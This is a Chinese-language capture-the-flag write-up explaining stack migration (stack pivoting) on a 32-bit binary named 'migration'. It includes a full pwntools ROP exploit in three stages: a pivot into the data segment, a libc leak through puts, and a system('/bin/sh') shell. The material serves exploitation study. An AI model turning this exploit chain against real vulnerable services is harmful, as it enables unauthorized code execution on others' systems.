Stack Migration(栈迁移)
Stack Migration(栈迁移)
原理

1.通过overflow覆盖prev ebp的值,让程序在执行完当前函数后执行leave(mov esp,ebp ; pop ebp)恢复栈帧时,获取到错误的prev ebp从而让ebp跳转到指定的位置。

2.此时esp执行到我们之前写入的gets函数,gets取buf1处的地址作为参数(buf1的地址也就是我们之前劫持ebp跳转到的地址),此时通过写入shellcode构造第二段rop填入buf1

3.此时程序执行完gets函数后执行leave指令,(mov esp,ebp)将esp移动到此前的ebp的位置,(pop ebp)此时ebp读取buf1中末尾的buf2处存放的地址,跳转到第二处buf空间,也就是buf2的位置

4.这时程序执行完puts函数,puts函数通过读取之前写入的任意函数的GOT表地址,打印出任意函数的GOT表地址,泄露出动态地址

5.程序执行完上一步的pop指令清空栈上的用过的任意函数的GOT表地址(防止程序seg falt),执行gets函数以buf2中存放的地址作为参数,获取输入的内容,存放到buf2中,构建第三段rop

6.程序此时执行完leave指令,(mov esp ,ebp)将esp搬到ebp的位置,(pop ebp)将buf2中存放的buf1的地址赋给ebp

7.此时buf2中的rop中填充了system的动态地址(根据前面的任意函数泄露出来的动态地址-任意函数的静态地址+system函数的静态地址计算所得),并且还写入了/bin/sh字符串,从而执行了get shell的操作
特殊情况

通过add指令,让esp跳转到我们可控的部分
例题-migration
分析

只有NX和RELRO开启
程序无后门函数

read()函数读取了0x40大小的字节,也就是64字节大小,但是buf空间只有24个字节大小,栈溢出
但是也因为read只读取了64字节大小,导致无法构造完整的rop链,所以只能栈迁移
第一段rop
先测定pading大小,正常应该44字节,一直覆盖到return address地址,但是因为需要篡改prev addr所以只覆盖44字节,接下来寻找可以写入的空间



根据上面两图可知,可写区段是data段,所以采用data段后半截作为buf的地址


接下来就是寻找gets_plt和leave_ret的地址
使用ropgadget可以知道
0x08048418 : leave ; ret
使用elfsymbol可以查看函数plt

发现没有gets函数,只有read函数,那就用read函数
read函数三个参数
int fd
void *buf
size_t count
所以需要在栈中布置上面的三个参数
from pwn import *
p = process('./migration')
buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418
rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)
p.interactive()

可以发现程序正在接收输入,表示成功
第二段rop
目标是在buf1中构建如下的布局

buf2采用buf1+0x100的方式
puts_plt
gdb-peda$ elfsymbol
Found 6 symbols
read@plt = 0x8048380
_exit@plt = 0x8048388
puts@plt = 0x8048390
__gmon_start__@plt = 0x8048398
__libc_start_main@plt = 0x80483a0
setvbuf@plt = 0x80483a8
pop_ret
使用ROPgadget
0x0804836d : pop ebx ; ret
puts_got

read_plt,leave_ret已经有了
构造接下来的rop
#rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0
rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)

此时打印出来了puts函数的动态地址
第三段rop

首先接收一下上一步打印出来的puts函数的动态地址
puts_dy = u32(p.recvuntil('\n',drop = True))
由于rop链在执行完system后就结束了,所以也不需要再用pop ret了,直接0xdeadbeef就行了
system动态地址
gdb-peda$ off puts
puts:0x67d90
gdb-peda$ off system
system:0x3d3d0
所以system函数动态地址等于puts动态地址-puts静态地址+system静态地址
/bin/sh直接写入就行
/bin/sh地址为buf2+16
第三段的exp为
#rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16
rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()
完整exp
from pwn import *
p = process('./migration')
###rop1
buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418
rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)
###rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0
rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)
###rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16
rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()

浙公网安备 33010602011771号